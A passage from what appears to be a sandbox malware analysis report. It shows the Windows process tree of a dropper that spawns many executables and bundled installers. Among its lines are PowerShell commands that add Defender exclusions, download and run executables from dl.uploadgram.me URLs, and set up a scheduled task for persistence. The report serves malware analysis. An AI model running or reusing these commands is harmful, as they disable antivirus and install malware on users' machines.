    C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 660
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5100
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 672
    3⤵
    - Program crash
    PID:3012
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 676
    3⤵
    - Program crash
    PID:3092
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 748
    3⤵
    - Program crash
    PID:4492
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 1120
    3⤵
    - Program crash
    PID:6052
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 1160
    3⤵
    - Program crash
    PID:6100
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 1056
    3⤵
    - Program crash
    PID:2624
- C:\Users\Admin\Documents\VocvqYrjv0PS50F7XnxrJjCi.exe
  "C:\Users\Admin\Documents\VocvqYrjv0PS50F7XnxrJjCi.exe"
  2⤵
  - Executes dropped EXE
  PID:2180
- C:\Users\Admin\Documents\gJOjTgHStPQhjAPFhilDMUye.exe
  "C:\Users\Admin\Documents\gJOjTgHStPQhjAPFhilDMUye.exe"
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:3568
- C:\Users\Admin\Documents\64AAZ3NFn1v4pDaF45SgvCVe.exe
  "C:\Users\Admin\Documents\64AAZ3NFn1v4pDaF45SgvCVe.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:3696
- C:\Users\Admin\Documents\1LamdEUrG0vln5Y6X8JO8T2X.exe
  "C:\Users\Admin\Documents\1LamdEUrG0vln5Y6X8JO8T2X.exe"
  2⤵
  - Executes dropped EXE
  PID:3088
- - C:\Users\Admin\Documents\1LamdEUrG0vln5Y6X8JO8T2X.exe
    "C:\Users\Admin\Documents\1LamdEUrG0vln5Y6X8JO8T2X.exe" -q
    3⤵
    PID:4788
- C:\Users\Admin\Documents\qcGb9v5y7YVfJDE6kI5XCMnU.exe
  "C:\Users\Admin\Documents\qcGb9v5y7YVfJDE6kI5XCMnU.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:3680
- - C:\Program Files (x86)\Company\NewProduct\jooyu.exe
    "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
    3⤵
    - Executes dropped EXE
    PID:4380
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      Executes dropped EXE
      PID:4240
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:5556
- - C:\Program Files (x86)\Company\NewProduct\customer3.exe
    "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
    3⤵
    - Executes dropped EXE
    PID:4456
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4456 -s 1284
      4⤵
      Program crash
      PID:2716
- - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
    3⤵
    - Executes dropped EXE
    PID:4412
- C:\Users\Admin\Documents\DOD0VThr9ITNo52pPJVzHQFK.exe
  "C:\Users\Admin\Documents\DOD0VThr9ITNo52pPJVzHQFK.exe"
  2⤵
  - Executes dropped EXE
  PID:1972
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 760
    3⤵
    - Program crash
    PID:5256
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 792
    3⤵
    - Program crash
    PID:5968
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 824
    3⤵
    - Program crash
    PID:3904
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 956
    3⤵
    - Program crash
    PID:6036
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 984
    3⤵
    - Program crash
    PID:5224
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 1020
    3⤵
    - Program crash
    PID:4356
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 1360
    3⤵
    - Program crash
    PID:5324
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 1288
    3⤵
    - Program crash
    PID:5160
- C:\Users\Admin\Documents\x6wZkgQfsAq3vmu6gLRSnJ8j.exe
  "C:\Users\Admin\Documents\x6wZkgQfsAq3vmu6gLRSnJ8j.exe"
  2⤵
  - Executes dropped EXE
  PID:4156
- - C:\Users\Admin\AppData\Local\Temp\is-VT6N1.tmp\x6wZkgQfsAq3vmu6gLRSnJ8j.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-VT6N1.tmp\x6wZkgQfsAq3vmu6gLRSnJ8j.tmp" /SL5="$10282,138429,56832,C:\Users\Admin\Documents\x6wZkgQfsAq3vmu6gLRSnJ8j.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of FindShellTrayWindow
    PID:4480
  - - C:\Users\Admin\AppData\Local\Temp\is-6E5PB.tmp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\is-6E5PB.tmp\Setup.exe" /Verysilent
      4⤵
      PID:1864
    - - C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe"
        5⤵
        
        PID:916
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 764
        6⤵
        Program crash
        
        PID:6560
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 812
        6⤵
        Program crash
        
        PID:7016
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 784
        6⤵
        Program crash
        
        PID:6120
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 852
        6⤵
        Program crash
        
        PID:5220
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 956
        6⤵
        Program crash
        
        PID:6540
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 984
        6⤵
        Program crash
        
        PID:5568
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 1060
        6⤵
        Program crash
        
        PID:4792
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 1344
        6⤵
        Executes dropped EXE
        Program crash
        
        PID:4788
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 1448
        6⤵
        Program crash
        
        PID:864
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 1468
        6⤵
        Program crash
        
        PID:7748
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 900
        6⤵
        Program crash
        
        PID:7376
    - - C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
        5⤵
        
        PID:4620
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629282281 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
        6⤵
        
        PID:8096
    - - C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
        5⤵
        
        PID:1472
      - C:\Users\Admin\AppData\Local\Temp\is-ODI34.tmp\WEATHER Manager.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-ODI34.tmp\WEATHER Manager.tmp" /SL5="$202EE,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
        6⤵
        
        PID:5236
        
        C:\Users\Admin\AppData\Local\Temp\is-U8EDD.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-U8EDD.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=715
        7⤵
        
        PID:4256
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-U8EDD.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-U8EDD.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629282281 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
        8⤵
        
        PID:6592
    - - C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
        5⤵
        
        PID:4936
      - C:\Users\Admin\AppData\Local\Temp\is-TI2SH.tmp\VPN.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-TI2SH.tmp\VPN.tmp" /SL5="$202FC,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
        6⤵
        
        PID:5304
        
        C:\Users\Admin\AppData\Local\Temp\is-DAE96.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-DAE96.tmp\Setup.exe" /silent /subid=720
        7⤵
        
        PID:7252
        
        C:\Users\Admin\AppData\Local\Temp\is-96IS8.tmp\Setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-96IS8.tmp\Setup.tmp" /SL5="$30282,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-DAE96.tmp\Setup.exe" /silent /subid=720
        8⤵
        
        PID:7572
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
        9⤵
        
        PID:7888
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe remove tap0901
        10⤵
        
        PID:4148
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
        9⤵
        
        PID:5372
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe install OemVista.inf tap0901
        10⤵
        
        PID:8532
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
        9⤵
        
        PID:8164
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
        9⤵
        
        PID:6320
    - - C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe"
        5⤵
        
        PID:4952
    - - C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"
        5⤵
        
        PID:3092
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:7780
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:7900
    - - C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        5⤵
        
        PID:4104
      - C:\Users\Admin\AppData\Local\Temp\is-6BSUU.tmp\MediaBurner2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-6BSUU.tmp\MediaBurner2.tmp" /SL5="$10316,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        6⤵
        
        PID:5532
        
        C:\Users\Admin\AppData\Local\Temp\is-D6THF.tmp\3377047_logo_media.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-D6THF.tmp\3377047_logo_media.exe" /S /UID=burnerch2
        7⤵
        
        PID:6008
        
        C:\Program Files\7-Zip\VGSTDTTTRI\ultramediaburner.exe
        
        "C:\Program Files\7-Zip\VGSTDTTTRI\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:7264
        
        C:\Users\Admin\AppData\Local\Temp\is-8K0LK.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-8K0LK.tmp\ultramediaburner.tmp" /SL5="$10580,281924,62464,C:\Program Files\7-Zip\VGSTDTTTRI\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:7296
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        
        PID:7012
        
        C:\Users\Admin\AppData\Local\Temp\a0-1ca50-a28-217a0-e26b434a4d500\Risaebiwaga.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a0-1ca50-a28-217a0-e26b434a4d500\Risaebiwaga.exe"
        8⤵
        
        PID:5668
        
        C:\Users\Admin\AppData\Local\Temp\fa-f7d42-4ca-3739d-71c1c1e0cf06c\Baezhizhybaeja.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fa-f7d42-4ca-3739d-71c1c1e0cf06c\Baezhizhybaeja.exe"
        8⤵
        
        PID:6336
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\escqathd.pcg\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:5648
        
        C:\Users\Admin\AppData\Local\Temp\escqathd.pcg\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\escqathd.pcg\GcleanerEU.exe /eufive
        10⤵
        
        PID:8788
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2juymkst.m0u\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:7752
        
        C:\Users\Admin\AppData\Local\Temp\2juymkst.m0u\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\2juymkst.m0u\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:8928
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\o5fwrc5r.w2z\ufgaa.exe & exit
        9⤵
        
        PID:8296
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\atc42s5h.eya\anyname.exe & exit
        9⤵
        
        PID:8740
        
        C:\Users\Admin\AppData\Local\Temp\atc42s5h.eya\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\atc42s5h.eya\anyname.exe
        10⤵
        
        PID:8540
        
        C:\Users\Admin\AppData\Local\Temp\atc42s5h.eya\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\atc42s5h.eya\anyname.exe" -q
        11⤵
        
        PID:8888
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nocpi0lo.b2d\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:8916
        
        C:\Users\Admin\AppData\Local\Temp\nocpi0lo.b2d\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\nocpi0lo.b2d\gcleaner.exe /mixfive
        10⤵
        
        PID:8768
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jealh0ei.15t\autosubplayer.exe /S & exit
        9⤵
        
        PID:8380
    - - C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
        5⤵
        
        PID:5360
      - C:\Users\Admin\Documents\XSfwuWpNE2V1rz6j_m2Fy57r.exe
        
        "C:\Users\Admin\Documents\XSfwuWpNE2V1rz6j_m2Fy57r.exe"
        6⤵
        
        PID:4924
      - C:\Users\Admin\Documents\z6bB2x5nAcREXc8NvL2R0HNc.exe
        
        "C:\Users\Admin\Documents\z6bB2x5nAcREXc8NvL2R0HNc.exe"
        6⤵
        
        PID:6580
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6580 -s 660
        7⤵
        Program crash
        
        PID:7380
      - C:\Users\Admin\Documents\TnmOFgOaqtpeIJKlBhhq7hD3.exe
        
        "C:\Users\Admin\Documents\TnmOFgOaqtpeIJKlBhhq7hD3.exe"
        6⤵
        
        PID:6508
      - C:\Users\Admin\Documents\rViLFJ1s02xNtBgNh6z_AhgM.exe
        
        "C:\Users\Admin\Documents\rViLFJ1s02xNtBgNh6z_AhgM.exe"
        6⤵
        
        PID:5632
        
        C:\Users\Admin\AppData\Local\Temp\is-L0H25.tmp\rViLFJ1s02xNtBgNh6z_AhgM.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-L0H25.tmp\rViLFJ1s02xNtBgNh6z_AhgM.tmp" /SL5="$80030,138429,56832,C:\Users\Admin\Documents\rViLFJ1s02xNtBgNh6z_AhgM.exe"
        7⤵
        
        PID:6924
        
        C:\Users\Admin\AppData\Local\Temp\is-79R73.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-79R73.tmp\Setup.exe" /Verysilent
        8⤵
        
        PID:1536
        
        C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
        9⤵
        
        PID:6468
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629282281 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
        10⤵
        
        PID:7040
      - C:\Users\Admin\Documents\CgJpvCo53USH6wGBsS1sZ0LD.exe
        
        "C:\Users\Admin\Documents\CgJpvCo53USH6wGBsS1sZ0LD.exe"
        6⤵
        
        PID:6696
        
        C:\Users\Admin\Documents\CgJpvCo53USH6wGBsS1sZ0LD.exe
        
        C:\Users\Admin\Documents\CgJpvCo53USH6wGBsS1sZ0LD.exe
        7⤵
        
        PID:7224
      - C:\Users\Admin\Documents\dpWiXuhH9ho38OzbMT0bEQ2c.exe
        
        "C:\Users\Admin\Documents\dpWiXuhH9ho38OzbMT0bEQ2c.exe"
        6⤵
        
        PID:6804
      - C:\Users\Admin\Documents\zEfmPt90rzSopvLpBlPL2RRC.exe
        
        "C:\Users\Admin\Documents\zEfmPt90rzSopvLpBlPL2RRC.exe"
        6⤵
        
        PID:6968
        
        C:\Users\Admin\Documents\zEfmPt90rzSopvLpBlPL2RRC.exe
        
        "C:\Users\Admin\Documents\zEfmPt90rzSopvLpBlPL2RRC.exe"
        7⤵
        
        PID:10164
      - C:\Users\Admin\Documents\ASJK5ES2koO5yAPesHmPVN8p.exe
        
        "C:\Users\Admin\Documents\ASJK5ES2koO5yAPesHmPVN8p.exe"
        6⤵
        
        PID:4388
      - C:\Users\Admin\Documents\boQfT5w04ssp2iAhPWEWTW1_.exe
        
        "C:\Users\Admin\Documents\boQfT5w04ssp2iAhPWEWTW1_.exe"
        6⤵
        
        PID:3328
      - C:\Users\Admin\Documents\8OQJIFlE3xQYcN05XKpLy6b6.exe
        
        "C:\Users\Admin\Documents\8OQJIFlE3xQYcN05XKpLy6b6.exe"
        6⤵
        
        PID:7060
      - C:\Users\Admin\Documents\TC1pCt2JqaKV2k88JhIIuRqH.exe
        
        "C:\Users\Admin\Documents\TC1pCt2JqaKV2k88JhIIuRqH.exe"
        6⤵
        
        PID:5812
        
        C:\Users\Admin\Documents\TC1pCt2JqaKV2k88JhIIuRqH.exe
        
        C:\Users\Admin\Documents\TC1pCt2JqaKV2k88JhIIuRqH.exe
        7⤵
        
        PID:7528
      - C:\Users\Admin\Documents\H0K64USsRtFidlR4COiAiBBN.exe
        
        "C:\Users\Admin\Documents\H0K64USsRtFidlR4COiAiBBN.exe"
        6⤵
        
        PID:6748
        
        C:\Users\Admin\Documents\H0K64USsRtFidlR4COiAiBBN.exe
        
        C:\Users\Admin\Documents\H0K64USsRtFidlR4COiAiBBN.exe
        7⤵
        
        PID:7908
      - C:\Users\Admin\Documents\6ginCTnXhtz4p18vyaLqxgvv.exe
        
        "C:\Users\Admin\Documents\6ginCTnXhtz4p18vyaLqxgvv.exe"
        6⤵
        
        PID:5508
        
        C:\Users\Admin\AppData\Roaming\2469099.exe
        
        "C:\Users\Admin\AppData\Roaming\2469099.exe"
        7⤵
        
        PID:4232
        
        C:\Users\Admin\AppData\Roaming\6010765.exe
        
        "C:\Users\Admin\AppData\Roaming\6010765.exe"
        7⤵
        
        PID:4188
        
        C:\Users\Admin\AppData\Roaming\3053378.exe
        
        "C:\Users\Admin\AppData\Roaming\3053378.exe"
        7⤵
        
        PID:5868
      - C:\Users\Admin\Documents\3LnGmlSQ6XFEyjFB3TYQ8Vev.exe
        
        "C:\Users\Admin\Documents\3LnGmlSQ6XFEyjFB3TYQ8Vev.exe"
        6⤵
        
        PID:6452
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', '%Temp%\\installer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', '%AppData%\\RuntimeBroker.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120c8f91373ch?raw', '%Temp%\\launcher.exe') & powershell Start-Process -FilePath '%Temp%\\installer.exe' & powershell Start-Process -FilePath '%AppData%\\RuntimeBroker.exe' & powershell Start-Process -FilePath '%Temp%\\launcher.exe' & exit
        7⤵
        
        PID:7184
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        8⤵
        
        PID:6120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        8⤵
        
        PID:6808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        8⤵
        
        PID:8752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
        8⤵
        
        PID:10080
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bc6269f31h?raw', 'C:\Users\Admin\AppData\Local\Temp\\installer.exe')
        8⤵
        
        PID:5108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120bcfeb5393h?raw', 'C:\Users\Admin\AppData\Roaming\\RuntimeBroker.exe')
        8⤵
        
        PID:9232
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell (New-Object System.Net.WebClient).DownloadFile('https://dl.uploadgram.me/6120c8f91373ch?raw', 'C:\Users\Admin\AppData\Local\Temp\\launcher.exe')
        8⤵
        
        PID:10196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\installer.exe'
        8⤵
        
        PID:9776
        
        C:\Users\Admin\AppData\Local\Temp\installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\installer.exe"
        9⤵
        
        PID:10080
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
        10⤵
        
        PID:9504
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        11⤵
        
        PID:7744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        11⤵
        
        PID:6352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        11⤵
        
        PID:9796
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Users\Admin\AppData\Local\Temp\installer.exe"
        10⤵
        
        PID:9916
        
        C:\Users\Admin\AppData\Local\Temp\svchost32.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost32.exe "C:\Users\Admin\AppData\Local\Temp\installer.exe"
        11⤵
        
        PID:10072
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"' & exit
        12⤵
        
        PID:1332
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr '"C:\Windows\system32\services32.exe"'
        13⤵
        Creates scheduled task(s)
        
        PID:6968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Roaming\\RuntimeBroker.exe'
        8⤵
        
        PID:4708
        
        C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
        
        "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
        9⤵
        
        PID:4848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\launcher.exe'
        8⤵
        
        PID:6968
        
        C:\Users\Admin\AppData\Local\Temp\launcher.exe
        
        "C:\Users\Admin\AppData\Local\Temp\launcher.exe"
        9⤵
        
        PID:1336
        
        C:\Users\Admin\AppData\Local\Temp\launcher.exe
        
        "{path}"
        10⤵
        
        PID:9276
      - C:\Users\Admin\Documents\6XReqGdcnRN2oC125ZEp85FG.exe
        
        "C:\Users\Admin\Documents\6XReqGdcnRN2oC125ZEp85FG.exe"
        6⤵
        
        PID:5612
      - C:\Users\Admin\Documents\j7kbQ5ncTn6vVvrA5jjuM1W_.exe
        
        "C:\Users\Admin\Documents\j7kbQ5ncTn6vVvrA5jjuM1W_.exe"
        6⤵
        
        PID:5552
      - C:\Users\Admin\Documents\58DRA_h0CadzEX60FTKMz5A9.exe
        
        "C:\Users\Admin\Documents\58DRA_h0CadzEX60FTKMz5A9.exe"
        6⤵
        
        PID:4520
        
        C:\Users\Admin\Documents\58DRA_h0CadzEX60FTKMz5A9.exe
        
